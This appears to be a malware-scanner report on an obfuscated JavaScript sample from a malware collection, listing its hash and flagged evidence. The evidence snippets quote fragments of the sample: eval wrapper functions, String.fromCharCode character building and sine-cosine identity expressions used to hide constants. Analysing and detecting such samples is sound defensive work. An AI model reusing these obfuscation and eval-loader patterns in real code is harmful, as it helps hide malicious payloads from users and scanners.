Suspicious ^80% javascript-malware-collection Download

20151215_ff2c4e4d0d0d3e0e1fc0a3571b109a0e.js

Obfuscated eval, trojanized context

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25640461865e1e9b8b5193f49f485bfc20e0de70eb99a4579e9aba33354d94450d8

Evidence

0xff hex byte token line 3

3:199… xc0,0xc5,0xcb,0xd0,0xd2,0xdb,0xdf,0xe4,0xe8,0xec,0xf3,0xf5,0xfc,0xff,0x104,0x10c,0x110,0x113,0x11b,0x11e,0x122,0x12a,0x130,0x132,0x139,0x13b,0x142,0x149,0x14d,0x14f,0x157,0x159,0x160,0x164,0x16c,0 …

Builds characters with String.fromCharCode line 4

4:254… 42],H[43],H[44],H[45],H[46],H[47],H[48],H[49],H[50],H[51],H[52],String.fromCharCode(10),H[53],H[54],H[55],H[56],H[57],H[58],H[59],H[60],H[61],H[62],H[63],H[64],H[65],H[66],String.fromCharCode(13),H[67],H[68],H[6 …

Calls JavaScript toString conversion method lines 5–8

5:105… ){if(WPDKIET(lmlFKjRURiVHuUoc)) {return (String.fromCharCode(lmlFKjRURiVHuUoc) + String.fromCharCode((18346+68)/341));}}
6function EBYeT(lgTsruJMMmt,MBELKTysruOrF,fZFgOmHI){lEoe=parseInt(lgTsruJMMmt,MBELKTysruOrF);Ydnzu=lEoe.toString(fZFgOmHI);return Ydnzu;}function WjfNcXZvCqqLulm(nVBizDbmOJLtdPUmT,aEvicSgyABNfMJYwuHoIiGfIkvBtwjPcjl,wlTqFkUqeZvsUfZjSPgxgkXwGexKaNbBsHa){eval(nVBizDbmOJLtdPUmT)}
7function WjfNcXZvCqqLulm(nVBizDbmOJLtdPUmT){eval(nVBizDbmOJLtdPUmT)}
8function nABVCOiqkDmituvZymEupyuouBPtUOKMvdAVXgMMRYtHATeFdsHnmq(cojhNMUqfWTEF,FoUjPSaJdFJVYv){ return QwmpLiy[hNfCDOYf[EBYeT(cojhNMUqfWTEF[FoUjPSaJdFJVYv],(8645+63)/311,(548+532)/108)]];} …

Calls JavaScript split() lines 9–11

9:155… kwJXkfFzotfECn);}
10function zhDwsAtZdOq(ICSUtyvN,gbCptc){return ICSUtyvN.split(gbCptc)}
11var L=[];L[0]=H[707];L[1]=H[708];L[2]=H[709];L[3]=H[710];L[4]=H[711];L[5]=H[712];L[6]=H[713];L[7]=H[714];L[8]=H[715];L[9]=H[716];L[10]=H[717];L[11]=H[718];L[12]=H[719];L[13]=H[720];L[14]=H[721];L[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,K];
14var hmKyWqqls=[];
15function zovycBepvnnwBksfJ(nbhZX){XFoMZPoylYJ= H[1810];for(qEyQEUVEeZg=Math.round((Math.pow(Math.sin(347), 2) + Math.pow(Math.cos(347), 2) - 1)); qEyQEUVEeZg < (995+261)/628; qEyQEUVEeZg++) {hmKyWqqls[qEyQEUVEeZg]=Math.round((Math.pow(Math.sin(86), 2) + Math.pow(Math.cos(86), 2) - 1)); while(true) { if(hmKyWqqls[qEyQEUVEeZg] > nbhZX[qEyQEUVEeZg].length-(-220+459)/239) { break; } if (WPDKIET(EBYeT(nbhZX[qEyQEUVEeZg][hmKyWqqls[qEyQEUVEeZg]],(245+37 …